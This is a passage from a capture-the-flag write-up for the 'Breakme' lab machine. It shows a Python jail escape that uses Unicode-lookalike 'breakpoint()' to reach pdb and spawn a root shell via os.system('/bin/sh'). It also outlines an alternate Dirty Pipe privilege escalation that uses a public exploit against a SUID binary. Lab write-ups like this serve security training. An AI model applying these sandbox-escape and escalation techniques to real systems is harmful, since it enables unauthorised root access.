['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
>> print(dir(__builtins__.__dict__))
['__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__ior__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__ror__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']
>> __builtins__.__dict__['open']

Below is the first resource that describes a working solution that can be used here. A bypass that uses Python Unicode Compatibility with a Unicode exec. This was successfully executed, although the normal exec was filtered:

 𝙚𝓍𝓮𝘤

The following source then offered the final solution. The call to Breakpoint in Unicode format. The breakpoint() function in Python is a built-in method introduced in Python 3.7 that acts as an entry point to Python's debugger, pdb. When executed, it pauses the program's execution and opens an interactive debugging session, allowing to inspect variables, control flow, and even modify values at runtime.

In the context of Python Jail escapes, which involve breaking out of restricted Python environments (often sandboxes), breakpoint() can be leveraged for interactive debugging, potentially providing access to internals of the sandbox, file system, or sensitive variables.

We issue the following version of breakpoint() in the restricted interpreter session:

𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()

Now we are able to call import os;os.system("/bin/sh") without restrictions to spawn a shell as root. We are root, can freely access the system and find the final flag at /root/root.txt.

youcef@Breakme:~$ sudo /usr/bin/python3 /root/jail.py
  Welcome to Python jail  
  Will you stay locked forever  
  Or will you BreakMe  
>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <string>(1)<module>()->None
(Pdb) import os;os.system("/bin/sh")
# ls
readfile  readfile.c
# cd /root
# ls -lah
total 52K
drwx------  3 root root 4.0K Mar 21  2024 .
drwxr-xr-x 18 root root 4.0K Aug 17  2021 ..
lrwxrwxrwx  1 root root    9 Aug  3  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
-rwx------  1 root root 5.4K Jul 31  2023 index.php
-rw-r--r--  1 root root 4.9K Mar 21  2024 jail.py
-rw-r--r--  1 root root    0 Mar 21  2024 .jail.py.swp
-rw-------  1 root root   33 Aug  3  2023 .lesshst
drwxr-xr-x  3 root root 4.0K Aug 17  2021 .local
-rw-------  1 root root 7.4K Feb  4  2024 .mysql_history
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-------  1 root root   33 Aug  3  2023 .root.txt

Don't miss Jaxafed's approach to building a payload to break out of Python jail, using function calls via builtins and dynamic attribute access, while explaining each step taken to bypass the various filters in place:

Unintended Path - UPDATE 2024-09-25

Shoutout to Str4ngerX and Celebrus for finding an unintended path to esalate privileges from www-data directly to root. They have located the vulnerability of Dirty Pipe.

Str4ngerX: https://loghmariala.github.io/posts/Breakme/

Celebrus: https://github.com/Aureum01/TryhackmeWriteups/blob/main/Breakme/Writeup.md

Dirty Pipe is a Linux vulnerability that allows an unprivileged user to overwrite read-only files by exploiting flaws in the pipe buffer mechanism. It works by injecting malicious data into cached pages used by the kernel, bypassing normal file permissions. This can lead to privilege escalation, as an attacker can modify critical system files.

You can find out more about the exploit in the following resources:

The following steps show the enumeration and execution of the Dirty Pipe exploit. We need a reverse shell as www-data, the steps to obtain this are described at https://0xb0b.gitbook.io/writeups/tryhackme/2024/breakme#foothold. With a shell as www-data we run Linpeas or linux-exploit-suggester.

Let's take Linpeas' output as an example. We see no explicit mention that this exploit shows a guaranteed privilege escalation path. This is only indicated as probable in the script output. The same applies to the linux-exploit-suggester script.

With uname -a we get detailed information of the system like the kernel version and the Debian version.

The following resource provides a Drty Pipe exploit that allows us to create a root shell. And it states that kernel versions newer than 5.8 are affected. As well as that the vulnerability has been patched in the following Linux kernel versions: 5.16.11, 5.15.25, and 5.10.102. Therefore, the vulnerability is applicable in this case.

We clone the repository and compile the exploits statically on our machine because gcc is not available on the target and we want to avoid a conflict with a different libc on the system than ours.

We start with exploit-1.

But this fails.

Next we try exploit-2.

This works, the script requires a SUID binary as specified in the description. By specifying /usr/bin/sudo when runing our static exploit we get a root shell.

Last updated